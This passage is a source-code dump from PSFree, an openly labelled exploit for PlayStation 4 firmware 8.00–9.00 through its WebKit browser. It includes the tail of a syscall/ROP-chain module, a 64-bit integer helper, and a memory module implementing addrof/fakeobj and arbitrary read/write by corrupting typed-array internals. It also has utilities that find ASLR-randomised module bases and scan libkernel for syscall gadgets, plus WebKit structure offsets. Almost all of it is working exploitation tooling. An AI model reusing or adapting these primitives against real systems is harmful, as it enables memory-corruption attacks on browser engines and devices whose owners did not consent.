511 |         if (err !== 0) {
512 |             throw Error(`syscall(${args[0]}) errno: ${err}`);
513 |         }
514 | 
515 |         const retval = this._return_value;
516 |         return new Int(retval[0], retval[1]);
517 |     }
518 | 
519 |     sysp(...args) {
520 |         const errno = this._errno;
521 |         this.do_syscall_clear_errno(...args);
522 | 
523 |         const err = errno[0];
524 |         if (err !== 0) {
525 |             throw Error(`syscall(${args[0]}) errno: ${err}`);
526 |         }
527 | 
528 |         const retval = this._return_value;
529 |         return new Addr(retval[0], retval[1]);
530 |     }
531 | 
532 | }
533 | 
534 | export function get_gadget(map, insn_str) {
535 |     const addr = map.get(insn_str);
536 |     if (addr === undefined) {
537 |         throw Error(`gadget not found: ${insn_str}`);
538 |     }
539 | 
540 |     return addr;
541 | }
542 | 
543 | function load_fw_specific(version) {
544 |     if (version & 0x10000) {
545 |         throw RangeError('ps5 not supported yet');
546 |     }
547 | 
548 |     const value = version & 0xffff;
549 |     // we don't want to bother with very old firmwares that don't support
550 |     // ECMAScript 2015. 6.xx WebKit poisons the pointer fields of some types
551 |     // which can be annoying to deal with
552 |     if (value < 0x700) {
553 |         throw RangeError("PS4 firmwares < 7.00 isn't supported");
554 |     }
555 | 
556 |     if (0x800 <= value && value <= 0x900) {
557 |         return import('../rop/900.mjs');
558 |     }
559 | 
560 |     throw RangeError('firmware not supported');
561 | }
562 | 
563 | export let gadgets = null;
564 | export let libwebkit_base = null;
565 | export let libkernel_base = null;
566 | export let libc_base = null;
567 | export let init_gadget_map = null;
568 | export let Chain = null;
569 | 
570 | export async function init() {
571 |     const module = await load_fw_specific(config.target);
572 |     Chain = module.Chain;
573 |     module.init(Chain);
574 |     ({
575 |         gadgets,
576 |         libwebkit_base,
577 |         libkernel_base,
578 |         libc_base,
579 |         init_gadget_map,
580 |     } = module);
581 | }
582 | 


--------------------------------------------------------------------------------
/module/constants.mjs:
--------------------------------------------------------------------------------
 1 | /* Copyright (C) 2023 anonymous
 2 | 
 3 | This file is part of PSFree.
 4 | 
 5 | PSFree is free software: you can redistribute it and/or modify
 6 | it under the terms of the GNU Affero General Public License as
 7 | published by the Free Software Foundation, either version 3 of the
 8 | License, or (at your option) any later version.
 9 | 
10 | PSFree is distributed in the hope that it will be useful,
11 | but WITHOUT ANY WARRANTY; without even the implied warranty of
12 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
13 | GNU Affero General Public License for more details.
14 | 
15 | You should have received a copy of the GNU Affero General Public License
16 | along with this program.  If not, see .  */
17 | 
18 | export const KB = 1024;
19 | export const MB = KB * KB;
20 | export const GB = KB * KB * KB;
21 | 


--------------------------------------------------------------------------------
/module/int64.mjs:
--------------------------------------------------------------------------------
  1 | /* Copyright (C) 2023-2025 anonymous
  2 | 
  3 | This file is part of PSFree.
  4 | 
  5 | PSFree is free software: you can redistribute it and/or modify
  6 | it under the terms of the GNU Affero General Public License as
  7 | published by the Free Software Foundation, either version 3 of the
  8 | License, or (at your option) any later version.
  9 | 
 10 | PSFree is distributed in the hope that it will be useful,
 11 | but WITHOUT ANY WARRANTY; without even the implied warranty of
 12 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 13 | GNU Affero General Public License for more details.
 14 | 
 15 | You should have received a copy of the GNU Affero General Public License
 16 | along with this program.  If not, see .  */
 17 | 
 18 | // cache some constants
 19 | const isInteger = Number.isInteger;
 20 | 
 21 | function check_not_in_range(x) {
 22 |     return !(isInteger(x) && -0x80000000 <= x && x <= 0xffffffff);
 23 | }
 24 | 
 25 | // use this if you want to support objects convertible to Int but only need
 26 | // their low/high bits. creating a Int is slower compared to just using this
 27 | // function
 28 | export function lohi_from_one(low) {
 29 |     if (low instanceof Int) {
 30 |         return low._u32.slice();
 31 |     }
 32 | 
 33 |     if (check_not_in_range(low)) {
 34 |         throw TypeError(`low not a 32-bit integer: ${low}`);
 35 |     }
 36 | 
 37 |     return [low >>> 0, low < 0 ? -1 >>> 0 : 0];
 38 | }
 39 | 
 40 | // immutable 64-bit integer
 41 | export class Int {
 42 |     constructor(low, high) {
 43 |         if (high === undefined) {
 44 |             this._u32 = new Uint32Array(lohi_from_one(low));
 45 |             return;
 46 |         }
 47 | 
 48 |         if (check_not_in_range(low)) {
 49 |             throw TypeError(`low not a 32-bit integer: ${low}`);
 50 |         }
 51 | 
 52 |         if (check_not_in_range(high)) {
 53 |             throw TypeError(`high not a 32-bit integer: ${high}`);
 54 |         }
 55 | 
 56 |         this._u32 = new Uint32Array([low, high]);
 57 |     }
 58 | 
 59 |     get lo() {
 60 |         return this._u32[0];
 61 |     }
 62 | 
 63 |     get hi() {
 64 |         return this._u32[1];
 65 |     }
 66 | 
 67 |     // return low/high as signed integers
 68 | 
 69 |     get bot() {
 70 |         return this._u32[0] | 0;
 71 |     }
 72 | 
 73 |     get top() {
 74 |         return this._u32[1] | 0;
 75 |     }
 76 | 
 77 |     neg() {
 78 |         const u32 = this._u32;
 79 |         const low = (~u32[0] >>> 0) + 1;
 80 |         return new this.constructor(
 81 |             low >>> 0,
 82 |             ((~u32[1] >>> 0) + (low > 0xffffffff)) >>> 0,
 83 |         );
 84 |     }
 85 | 
 86 |     eq(b) {
 87 |         const values = lohi_from_one(b);
 88 |         const u32 = this._u32;
 89 |         return (
 90 |             u32[0] === values[0]
 91 |             && u32[1] === values[1]
 92 |         );
 93 |     }
 94 | 
 95 |     ne(b) {
 96 |         return !this.eq(b);
 97 |     }
 98 | 
 99 |     add(b) {
100 |         const values = lohi_from_one(b);
101 |         const u32 = this._u32;
102 |         const low = u32[0] + values[0];
103 |         return new this.constructor(
104 |             low >>> 0,
105 |             (u32[1] + values[1] + (low > 0xffffffff)) >>> 0,
106 |         );
107 |     }
108 | 
109 |     sub(b) {
110 |         const values = lohi_from_one(b);
111 |         const u32 = this._u32;
112 |         const low = u32[0] + (~values[0] >>> 0) + 1;
113 |         return new this.constructor(
114 |             low >>> 0,
115 |             (u32[1] + (~values[1] >>> 0) + (low > 0xffffffff)) >>> 0,
116 |         );
117 |     }
118 | 
119 |     toString(is_pretty=false) {
120 |         if (!is_pretty) {
121 |             const low = this.lo.toString(16).padStart(8, '0');
122 |             const high = this.hi.toString(16).padStart(8, '0');
123 |             return '0x' + high + low;
124 |         }
125 |         let high = this.hi.toString(16).padStart(8, '0');
126 |         high = high.substring(0, 4) + '_' + high.substring(4);
127 | 
128 |         let low = this.lo.toString(16).padStart(8, '0');
129 |         low = low.substring(0, 4) + '_' + low.substring(4);
130 | 
131 |         return '0x' + high + '_' + low;
132 |     }
133 | }
134 | 


--------------------------------------------------------------------------------
/module/mem.mjs:
--------------------------------------------------------------------------------
  1 | /* Copyright (C) 2023-2025 anonymous
  2 | 
  3 | This file is part of PSFree.
  4 | 
  5 | PSFree is free software: you can redistribute it and/or modify
  6 | it under the terms of the GNU Affero General Public License as
  7 | published by the Free Software Foundation, either version 3 of the
  8 | License, or (at your option) any later version.
  9 | 
 10 | PSFree is distributed in the hope that it will be useful,
 11 | but WITHOUT ANY WARRANTY; without even the implied warranty of
 12 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 13 | GNU Affero General Public License for more details.
 14 | 
 15 | You should have received a copy of the GNU Affero General Public License
 16 | along with this program.  If not, see .  */
 17 | 
 18 | import { Int, lohi_from_one } from './int64.mjs';
 19 | import { view_m_vector, view_m_length } from './offset.mjs';
 20 | 
 21 | export let mem = null;
 22 | 
 23 | // cache some constants
 24 | const off_vector = view_m_vector / 4;
 25 | const off_vector2 = (view_m_vector + 4) / 4;
 26 | const isInteger = Number.isInteger;
 27 | 
 28 | function init_module(memory) {
 29 |     mem = memory;
 30 | }
 31 | 
 32 | function add_and_set_addr(mem, offset, base_lo, base_hi) {
 33 |     const values = lohi_from_one(offset);
 34 |     const main = mem._main;
 35 | 
 36 |     const low = base_lo + values[0];
 37 | 
 38 |     // no need to use ">>> 0" to convert to unsigned here
 39 |     main[off_vector] = low;
 40 |     main[off_vector2] = base_hi + values[1] + (low > 0xffffffff);
 41 | }
 42 | 
 43 | export class Addr extends Int {
 44 |     read8(offset) {
 45 |         const m = mem;
 46 |         if (isInteger(offset) && 0 <= offset && offset <= 0xffffffff) {
 47 |             m._set_addr_direct(this);
 48 |         } else {
 49 |             add_and_set_addr(m, offset, this.lo, this.hi);
 50 |             offset = 0;
 51 |         }
 52 | 
 53 |         return m.read8_at(offset);
 54 |     }
 55 | 
 56 |     read16(offset) {
 57 |         const m = mem;
 58 |         if (isInteger(offset) && 0 <= offset && offset <= 0xffffffff) {
 59 |             m._set_addr_direct(this);
 60 |         } else {
 61 |             add_and_set_addr(m, offset, this.lo, this.hi);
 62 |             offset = 0;
 63 |         }
 64 | 
 65 |         return m.read16_at(offset);
 66 |     }
 67 | 
 68 |     read32(offset) {
 69 |         const m = mem;
 70 |         if (isInteger(offset) && 0 <= offset && offset <= 0xffffffff) {
 71 |             m._set_addr_direct(this);
 72 |         } else {
 73 |             add_and_set_addr(m, offset, this.lo, this.hi);
 74 |             offset = 0;
 75 |         }
 76 | 
 77 |         return m.read32_at(offset);
 78 |     }
 79 | 
 80 |     read64(offset) {
 81 |         const m = mem;
 82 |         if (isInteger(offset) && 0 <= offset && offset <= 0xffffffff) {
 83 |             m._set_addr_direct(this);
 84 |         } else {
 85 |             add_and_set_addr(m, offset, this.lo, this.hi);
 86 |             offset = 0;
 87 |         }
 88 | 
 89 |         return m.read64_at(offset);
 90 |     }
 91 | 
 92 |     readp(offset) {
 93 |         const m = mem;
 94 |         if (isInteger(offset) && 0 <= offset && offset <= 0xffffffff) {
 95 |             m._set_addr_direct(this);
 96 |         } else {
 97 |             add_and_set_addr(m, offset, this.lo, this.hi);
 98 |             offset = 0;
 99 |         }
100 | 
101 |         return m.readp_at(offset);
102 |     }
103 | 
104 |     write8(offset, value) {
105 |         const m = mem;
106 |         if (isInteger(offset) && 0 <= offset && offset <= 0xffffffff) {
107 |             m._set_addr_direct(this);
108 |         } else {
109 |             add_and_set_addr(m, offset, this.lo, this.hi);
110 |             offset = 0;
111 |         }
112 | 
113 |         m.write8_at(offset, value);
114 |     }
115 | 
116 |     write16(offset, value) {
117 |         const m = mem;
118 |         if (isInteger(offset) && 0 <= offset && offset <= 0xffffffff) {
119 |             m._set_addr_direct(this);
120 |         } else {
121 |             add_and_set_addr(m, offset, this.lo, this.hi);
122 |             offset = 0;
123 |         }
124 | 
125 |         m.write16_at(offset, value);
126 |     }
127 | 
128 |     write32(offset, value) {
129 |         const m = mem;
130 |         if (isInteger(offset) && 0 <= offset && offset <= 0xffffffff) {
131 |             m._set_addr_direct(this);
132 |         } else {
133 |             add_and_set_addr(m, offset, this.lo, this.hi);
134 |             offset = 0;
135 |         }
136 | 
137 |         m.write32_at(offset, value);
138 |     }
139 | 
140 |     write64(offset, value) {
141 |         const m = mem;
142 |         if (isInteger(offset) && 0 <= offset && offset <= 0xffffffff) {
143 |             m._set_addr_direct(this);
144 |         } else {
145 |             add_and_set_addr(m, offset, this.lo, this.hi);
146 |             offset = 0;
147 |         }
148 | 
149 |         m.write64_at(offset, value);
150 |     }
151 | }
152 | 
153 | // expected:
154 | // * main - Uint32Array whose m_vector points to worker
155 | // * worker - DataView
156 | //
157 | // addrof()/fakeobj() expectations:
158 | // * obj - has a "addr" property and a 0 index.
159 | // * addr_addr - Int, the address of the slot of obj.addr
160 | // * fake_addr - Int, the address of the slot of obj[0]
161 | //
162 | // a valid example for "obj" is "{addr: null, 0: 0}". note that this example
163 | // has [0] be 0 so that the butterfly's indexing type is ArrayWithInt32. this
164 | // prevents the garbage collector from incorrectly treating the slot's value as
165 | // a JSObject and then crash
166 | //
167 | // the relative read/write methods expect the offset to be a unsigned 32-bit
168 | // integer
169 | export class Memory {
170 |     constructor(main, worker, obj, addr_addr, fake_addr)  {
171 |         this._main = main;
172 |         this._worker = worker;
173 |         this._obj = obj;
174 |         this._addr_low = addr_addr.lo;
175 |         this._addr_high = addr_addr.hi;
176 |         this._fake_low = fake_addr.lo;
177 |         this._fake_high = fake_addr.hi;
178 | 
179 |         main[view_m_length / 4] = 0xffffffff;
180 | 
181 |         init_module(this);
182 | 
183 |         const off_mvec = view_m_vector;
184 |         // use this to create WastefulTypedArrays to avoid a GC crash
185 |         const buf = new ArrayBuffer(0);
186 | 
187 |         const src = new Uint8Array(buf);
188 |         const sset = new Uint32Array(buf);
189 |         const sset_p = this.addrof(sset);
190 |         sset_p.write64(off_mvec, this.addrof(src).add(off_mvec));
191 |         sset_p.write32(view_m_length, 3);
192 |         this._cpysrc = src;
193 |         this._src_setter = sset;
194 | 
195 |         const dst = new Uint8Array(buf);
196 |         const dset = new Uint32Array(buf);
197 |         const dset_p = this.addrof(dset);
198 |         dset_p.write64(off_mvec, this.addrof(dst).add(off_mvec));
199 |         dset_p.write32(view_m_length, 3);
200 |         dset[2] = 0xffffffff;
201 |         this._cpydst = dst;
202 |         this._dst_setter = dset;
203 |     }
204 | 
205 |     // dst and src may overlap
206 |     cpy(dst, src, len) {
207 |         if (!(isInteger(len) && 0 <= len && len <= 0xffffffff)) {
208 |             throw TypeError('len not a unsigned 32-bit integer');
209 |         }
210 | 
211 |         const dvals = lohi_from_one(dst);
212 |         const svals = lohi_from_one(src);
213 |         const dset = this._dst_setter;
214 |         const sset = this._src_setter;
215 | 
216 |         dset[0] = dvals[0];
217 |         dset[1] = dvals[1];
218 |         sset[0] = svals[0];
219 |         sset[1] = svals[1];
220 |         sset[2] = len;
221 | 
222 |         this._cpydst.set(this._cpysrc);
223 |     }
224 | 
225 |     // allocate Garbage Collector managed memory. returns [address_of_memory,
226 |     // backer]. backer is the JSCell that is keeping the returned memory alive,
227 |     // you can drop it once you have another GC object reference the address.
228 |     // the backer is an implementation detail. don't use it to mutate the
229 |     // memory
230 |     gc_alloc(size) {
231 |         if (!isInteger(size)) {
232 |             throw TypeError('size not a integer');
233 |         }
234 |         if (size < 0) {
235 |             throw RangeError('size is negative');
236 |         }
237 | 
238 |         const fastLimit = 1000;
239 |         size = (size + 7 & ~7) >> 3;
240 |         if (size > fastLimit) {
241 |             throw RangeError('size is too large');
242 |         }
243 | 
244 |         const backer = new Float64Array(size);
245 |         return [mem.addrof(backer).readp(view_m_vector), backer];
246 |     }
247 | 
248 |     fakeobj(addr) {
249 |         const values = lohi_from_one(addr);
250 |         const worker = this._worker;
251 |         const main = this._main;
252 | 
253 |         main[off_vector] = this._fake_low;
254 |         main[off_vector2] = this._fake_high;
255 |         worker.setUint32(0, values[0], true);
256 |         worker.setUint32(4, values[1], true);
257 |         return this._obj[0];
258 |     }
259 | 
260 |     addrof(object) {
261 |         // typeof considers null as a object. blacklist it as it isn't a
262 |         // JSObject
263 |         if (object === null
264 |             || (typeof object !== 'object' && typeof object !== 'function')
265 |         ) {
266 |             throw TypeError('argument not a JS object');
267 |         }
268 | 
269 |         const obj = this._obj;
270 |         const worker = this._worker;
271 |         const main = this._main;
272 | 
273 |         obj.addr = object;
274 | 
275 |         main[off_vector] = this._addr_low;
276 |         main[off_vector2] = this._addr_high;
277 | 
278 |         const res = new Addr(
279 |             worker.getUint32(0, true),
280 |             worker.getUint32(4, true),
281 |         );
282 |         obj.addr = null;
283 | 
284 |         return res;
285 |     }
286 | 
287 |     // expects addr to be a Int
288 |     _set_addr_direct(addr) {
289 |         const main = this._main;
290 |         main[off_vector] = addr.lo;
291 |         main[off_vector2] = addr.hi;
292 |     }
293 | 
294 |     set_addr(addr) {
295 |         const values = lohi_from_one(addr);
296 |         const main = this._main;
297 |         main[off_vector] = values[0];
298 |         main[off_vector2] = values[1];
299 |     }
300 | 
301 |     get_addr() {
302 |         const main = this._main;
303 |         return new Addr(main[off_vector], main[off_vector2]);
304 |     }
305 | 
306 |     read8(addr) {
307 |         this.set_addr(addr);
308 |         return this._worker.getUint8(0);
309 |     }
310 | 
311 |     read16(addr) {
312 |         this.set_addr(addr);
313 |         return this._worker.getUint16(0, true);
314 |     }
315 | 
316 |     read32(addr) {
317 |         this.set_addr(addr);
318 |         return this._worker.getUint32(0, true);
319 |     }
320 | 
321 |     read64(addr) {
322 |         this.set_addr(addr);
323 |         const worker = this._worker;
324 |         return new Int(worker.getUint32(0, true), worker.getUint32(4, true));
325 |     }
326 | 
327 |     // returns a pointer instead of an Int
328 |     readp(addr) {
329 |         this.set_addr(addr);
330 |         const worker = this._worker;
331 |         return new Addr(worker.getUint32(0, true), worker.getUint32(4, true));
332 |     }
333 | 
334 |     read8_at(offset) {
335 |         if (!isInteger(offset)) {
336 |             throw TypeError('offset not a integer');
337 |         }
338 |         return this._worker.getUint8(offset);
339 |     }
340 | 
341 |     read16_at(offset) {
342 |         if (!isInteger(offset)) {
343 |             throw TypeError('offset not a integer');
344 |         }
345 |         return this._worker.getUint16(offset, true);
346 |     }
347 | 
348 |     read32_at(offset) {
349 |         if (!isInteger(offset)) {
350 |             throw TypeError('offset not a integer');
351 |         }
352 |         return this._worker.getUint32(offset, true);
353 |     }
354 | 
355 |     read64_at(offset) {
356 |         if (!isInteger(offset)) {
357 |             throw TypeError('offset not a integer');
358 |         }
359 |         const worker = this._worker;
360 |         return new Int(
361 |             worker.getUint32(offset, true),
362 |             worker.getUint32(offset + 4, true),
363 |         );
364 |     }
365 | 
366 |     readp_at(offset) {
367 |         if (!isInteger(offset)) {
368 |             throw TypeError('offset not a integer');
369 |         }
370 |         const worker = this._worker;
371 |         return new Addr(
372 |             worker.getUint32(offset, true),
373 |             worker.getUint32(offset + 4, true),
374 |         );
375 |     }
376 | 
377 |     write8(addr, value) {
378 |         this.set_addr(addr);
379 |         this._worker.setUint8(0, value);
380 |     }
381 | 
382 |     write16(addr, value) {
383 |         this.set_addr(addr);
384 |         this._worker.setUint16(0, value, true);
385 |     }
386 | 
387 |     write32(addr, value) {
388 |         this.set_addr(addr);
389 |         this._worker.setUint32(0, value, true);
390 |     }
391 | 
392 |     write64(addr, value) {
393 |         const values = lohi_from_one(value);
394 |         this.set_addr(addr);
395 |         const worker = this._worker;
396 |         worker.setUint32(0, values[0], true);
397 |         worker.setUint32(4, values[1], true);
398 |     }
399 | 
400 |     write8_at(offset, value) {
401 |         if (!isInteger(offset)) {
402 |             throw TypeError('offset not a integer');
403 |         }
404 |         this._worker.setUint8(offset, value);
405 |     }
406 | 
407 |     write16_at(offset, value) {
408 |         if (!isInteger(offset)) {
409 |             throw TypeError('offset not a integer');
410 |         }
411 |         this._worker.setUint16(offset, value, true);
412 |     }
413 | 
414 |     write32_at(offset, value) {
415 |         if (!isInteger(offset)) {
416 |             throw TypeError('offset not a integer');
417 |         }
418 |         this._worker.setUint32(offset, value, true);
419 |     }
420 | 
421 |     write64_at(offset, value) {
422 |         if (!isInteger(offset)) {
423 |             throw TypeError('offset not a integer');
424 |         }
425 |         const values = lohi_from_one(value);
426 |         const worker = this._worker;
427 |         worker.setUint32(offset, values[0], true);
428 |         worker.setUint32(offset + 4, values[1], true);
429 |     }
430 | }
431 | 


--------------------------------------------------------------------------------
/module/memtools.mjs:
--------------------------------------------------------------------------------
  1 | /* Copyright (C) 2023-2025 anonymous
  2 | 
  3 | This file is part of PSFree.
  4 | 
  5 | PSFree is free software: you can redistribute it and/or modify
  6 | it under the terms of the GNU Affero General Public License as
  7 | published by the Free Software Foundation, either version 3 of the
  8 | License, or (at your option) any later version.
  9 | 
 10 | PSFree is distributed in the hope that it will be useful,
 11 | but WITHOUT ANY WARRANTY; without even the implied warranty of
 12 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 13 | GNU Affero General Public License for more details.
 14 | 
 15 | You should have received a copy of the GNU Affero General Public License
 16 | along with this program.  If not, see .  */
 17 | 
 18 | // This module are for utilities that depend on running the exploit first
 19 | 
 20 | import { Int } from './int64.mjs';
 21 | import { mem } from './mem.mjs';
 22 | import { align } from './utils.mjs';
 23 | import { page_size } from './offset.mjs';
 24 | import { BufferView } from './rw.mjs';
 25 | import { View1 } from './view.mjs';
 26 | import * as off from './offset.mjs';
 27 | 
 28 | // creates an ArrayBuffer whose contents is copied from addr
 29 | export function make_buffer(addr, size) {
 30 |     // see enum TypedArrayMode from
 31 |     // WebKit/Source/JavaScriptCore/runtime/JSArrayBufferView.h
 32 |     // at webkitgtk 2.34.4
 33 |     //
 34 |     // see possiblySharedBuffer() from
 35 |     // WebKit/Source/JavaScriptCore/runtime/JSArrayBufferViewInlines.h
 36 |     // at webkitgtk 2.34.4
 37 | 
 38 |     // We will create an OversizeTypedArray via requesting an Uint8Array whose
 39 |     // number of elements will be greater than fastSizeLimit (1000).
 40 |     //
 41 |     // We will not use a FastTypedArray since its m_vector is visited by the
 42 |     // GC and we will temporarily change it. The GC expects addresses from the
 43 |     // JS heap, and that heap has metadata that the GC uses. The GC will likely
 44 |     // crash since valid metadata won't likely be found at arbitrary addresses.
 45 |     //
 46 |     // The FastTypedArray approach will have a small time frame where the GC
 47 |     // can inspect the invalid m_vector field.
 48 |     //
 49 |     // Views created via "new TypedArray(x)" where "x" is a number will always
 50 |     // have an m_mode < WastefulTypedArray.
 51 |     const u = new Uint8Array(1001);
 52 |     const u_addr = mem.addrof(u);
 53 | 
 54 |     // we won't change the butterfly and m_mode so we won't save those
 55 |     const old_addr = u_addr.read64(off.view_m_vector);
 56 |     const old_size = u_addr.read32(off.view_m_length);
 57 | 
 58 |     u_addr.write64(off.view_m_vector, addr);
 59 |     u_addr.write32(off.view_m_length, size);
 60 | 
 61 |     const copy = new Uint8Array(u.length);
 62 |     copy.set(u);
 63 | 
 64 |     // Views with m_mode < WastefulTypedArray don't have an ArrayBuffer object
 65 |     // associated with them, if we ask for view.buffer, the view will be
 66 |     // converted into a WastefulTypedArray and an ArrayBuffer will be created.
 67 |     // This is done by calling slowDownAndWasteMemory().
 68 |     //
 69 |     // We can't use slowDownAndWasteMemory() on u since that will create a
 70 |     // JSC::ArrayBufferContents with its m_data pointing to addr. On the
 71 |     // ArrayBuffer's death, it will call WTF::fastFree() on m_data. This can
 72 |     // cause a crash if the m_data is not from the fastMalloc heap, and even if
 73 |     // it is, freeing abitrary addresses is dangerous as it may lead to a
 74 |     // use-after-free.
 75 |     const res = copy.buffer;
 76 | 
 77 |     // restore
 78 |     u_addr.write64(off.view_m_vector, old_addr);
 79 |     u_addr.write32(off.view_m_length, old_size);
 80 | 
 81 |     return res;
 82 | }
 83 | 
 84 | // these values came from analyzing dumps from CelesteBlue
 85 | function check_magic_at(p, is_text) {
 86 |     // byte sequence that is very likely to appear at offset 0 of a .text
 87 |     // segment
 88 |     const text_magic = [
 89 |         new Int(0xe5894855, 0x56415741),
 90 |         new Int(0x54415541, 0x8d485053),
 91 |     ];
 92 | 
 93 |     // the .data "magic" is just a portion of the PT_SCE_MODULE_PARAM segment
 94 | 
 95 |     // .data magic from 3.00, 6.00, and 6.20
 96 |     //const data_magic = [
 97 |     //    new Int(0x18),
 98 |     //    new Int(0x3c13f4bf, 0x1),
 99 |     //];
100 | 
101 |     // .data magic from 8.00 and 8.03
102 |     const data_magic = [
103 |         new Int(0x20),
104 |         new Int(0x3c13f4bf, 0x2),
105 |     ];
106 | 
107 |     const magic = is_text ? text_magic : data_magic;
108 |     const value = [p.read64(0), p.read64(8)];
109 | 
110 |     return value[0].eq(magic[0]) && value[1].eq(magic[1]);
111 | }
112 | 
113 | // Finds the base address of a segment: .text or .data
114 | // Used on the ps4 to locate module base addresses
115 | // * p:
116 | //     an address pointing somewhere in the segment to search
117 | // * is_text:
118 | //     whether the segment is .text or .data
119 | // * is_back:
120 | //     whether to search backwards (to lower addresses) or forwards
121 | //
122 | // Modules are likely to be separated by a couple of unmapped pages because of
123 | // Address Space Layout Randomization (all module base addresses are
124 | // randomized). This means that this function will either succeed or crash on
125 | // a page fault, if the magic is not present.
126 | //
127 | // To be precise, modules are likely to be "surrounded" by unmapped pages, it
128 | // does not mean that the distance between a boundary of a module and the
129 | // nearest unmapped page is 0.
130 | //
131 | // The boundaries of a module is its base and end addresses.
132 | //
133 | // let module_base_addr = find_base(...);
134 | // // Not guaranteed to crash, the nearest unmapped page is not necessarily at
135 | // // 0 distance away from module_base_addr.
136 | // addr.read8(-1);
137 | //
138 | export function find_base(addr, is_text, is_back) {
139 |     // align to page size
140 |     addr = align(addr, page_size);
141 |     const offset = (is_back ? -1 : 1) * page_size;
142 |     while (true) {
143 |         if (check_magic_at(addr, is_text)) {
144 |             break;
145 |         }
146 |         addr = addr.add(offset);
147 |     }
148 |     return addr;
149 | }
150 | 
151 | // gets the address of the underlying buffer of a JSC::JSArrayBufferView
152 | export function get_view_vector(view) {
153 |     if (!ArrayBuffer.isView(view)) {
154 |         throw TypeError(`object not a JSC::JSArrayBufferView: ${view}`);
155 |     }
156 |     return mem.addrof(view).readp(off.view_m_vector);
157 | }
158 | 
159 | export function resolve_import(import_addr) {
160 |     if (import_addr.read16(0) !== 0x25ff) {
161 |         throw Error(
162 |             `instruction at ${import_addr} is not of the form: jmp qword`
163 |             + ' [rip + X]');
164 |     }
165 |     // module_function_import:
166 |     //     jmp qword [rip + X]
167 |     //     ff 25 xx xx xx xx // signed 32-bit displacement
168 |     const disp = import_addr.read32(2);
169 |     // assume disp and offset are 32-bit integers
170 |     // x | 0 will always be a signed integer
171 |     const offset = (disp | 0) + 6;
172 |     // The rIP value used by "jmp [rip + X]" instructions is actually the rIP
173 |     // of the next instruction. This means that the actual address used is
174 |     // [rip + X + sizeof(jmp_insn)], where sizeof(jmp_insn) is the size of the
175 |     // jump instruction, which is 6 in this case.
176 |     const function_addr = import_addr.readp(offset);
177 | 
178 |     return function_addr;
179 | }
180 | 
181 | export function init_syscall_array(
182 |     syscall_array,
183 |     libkernel_web_base,
184 |     max_search_size,
185 | ) {
186 |     if (!Number.isInteger(max_search_size)) {
187 |         throw TypeError(
188 |             `max_search_size is not a integer: ${max_search_size}`);
189 |     }
190 |     if (max_search_size < 0) {
191 |         throw Error(`max_search_size is less than 0: ${max_search_size}`);
192 |     }
193 | 
194 |     const libkernel_web_buffer = make_buffer(
195 |         libkernel_web_base,
196 |         max_search_size,
197 |     );
198 |     const kbuf = new BufferView(libkernel_web_buffer);
199 | 
200 |     // Search 'rdlo' string from libkernel_web's .rodata section to gain an
201 |     // upper bound on the size of the .text section.
202 |     let text_size = 0;
203 |     let found = false;
204 |     for (let i = 0; i < max_search_size; i++) {
205 |         if (kbuf[i] === 0x72
206 |             && kbuf[i + 1] === 0x64
207 |             && kbuf[i + 2] === 0x6c
208 |             && kbuf[i + 3] === 0x6f
209 |         ) {
210 |             text_size = i;
211 |             found = true;
212 |             break;
213 |         }
214 |     }
215 |     if (!found) {
216 |         throw Error(
217 |             '"rdlo" string not found in libkernel_web, base address:'
218 |             + ` ${libkernel_web_base}`);
219 |     }
220 | 
221 |     // search for the instruction sequence:
222 |     // syscall_X:
223 |     //     mov rax, X
224 |     //     mov r10, rcx
225 |     //     syscall
226 |     for (let i = 0; i < text_size; i++) {
227 |         if (kbuf[i] === 0x48
228 |             && kbuf[i + 1] === 0xc7
229 |             && kbuf[i + 2] === 0xc0
230 |             && kbuf[i + 7] === 0x49
231 |             && kbuf[i + 8] === 0x89
232 |             && kbuf[i + 9] === 0xca
233 |             && kbuf[i + 10] === 0x0f
234 |             && kbuf[i + 11] === 0x05
235 |         ) {
236 |             const syscall_num = kbuf.read32(i + 3);
237 |             syscall_array[syscall_num] = libkernel_web_base.add(i);
238 |             // skip the sequence
239 |             i += 11;
240 |         }
241 |     }
242 | }
243 | 
244 | // create a char array like in the C language
245 | //
246 | // string to view since it's easier to get the address of the buffer this way
247 | export function cstr(str) {
248 |     str += '\0';
249 |     return View1.from(str, c => c.codePointAt(0));
250 | }
251 | 
252 | // we are re-exporting this since users that want to use cstr() usually want
253 | // jstr() as well. they are likely working with functions that take/return
254 | // strings
255 | export { jstr } from './utils.mjs';
256 | 


--------------------------------------------------------------------------------
/module/offset.mjs:
--------------------------------------------------------------------------------
 1 | /* Copyright (C) 2023-2025 anonymous
 2 | 
 3 | This file is part of PSFree.
 4 | 
 5 | PSFree is free software: you can redistribute it and/or modify
 6 | it under the terms of the GNU Affero General Public License as
 7 | published by the Free Software Foundation, either version 3 of the
 8 | License, or (at your option) any later version.
 9 | 
10 | PSFree is distributed in the hope that it will be useful,
11 | but WITHOUT ANY WARRANTY; without even the implied warranty of
12 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
13 | GNU Affero General Public License for more details.
14 | 
15 | You should have received a copy of the GNU Affero General Public License
16 | along with this program.  If not, see .  */
17 | 
18 | // WebKit offsets start
19 | 
20 | // offsets for JSC::JSObject
21 | export const js_cell = 0;
22 | export const js_butterfly = 0x8;
23 | // start of the array of inline properties (JSValues)
24 | export const js_inline_prop = 0x10;
25 | 
26 | // sizeof JSC::JSObject
27 | export const size_jsobj = js_inline_prop;
28 | 
29 | // offsets for JSC::JSArrayBufferView
30 | export const view_m_vector = 0x10;
31 | export const view_m_length = 0x18;
32 | export const view_m_mode = 0x1c;
33 | 
34 | // sizeof JSC::JSArrayBufferView
35 | export const size_view = 0x20;
36 | 
37 | // offsets for WTF::StringImpl
38 | export const strimpl_strlen = 4;
39 | export const strimpl_m_data = 8;
40 | export const strimpl_inline_str = 0x14;
41 | 
42 | // sizeof WTF::StringImpl
43 | export const size_strimpl = 0x18;
44 | 
45 | // offsets for WebCore::JSHTMLTextAreaElement, subclass of JSObject
46 | 
47 | // offset to m_wrapped, pointer to a DOM object
48 | // for this class, it's a WebCore::HTMLTextAreaElement pointer
49 | export const jsta_impl = 0x18;
50 | 
51 | // sizeof WebCore::JSHTMLTextAreaElement
52 | export const size_jsta = 0x20;
53 | 
54 | // WebKit offsets end
55 | 
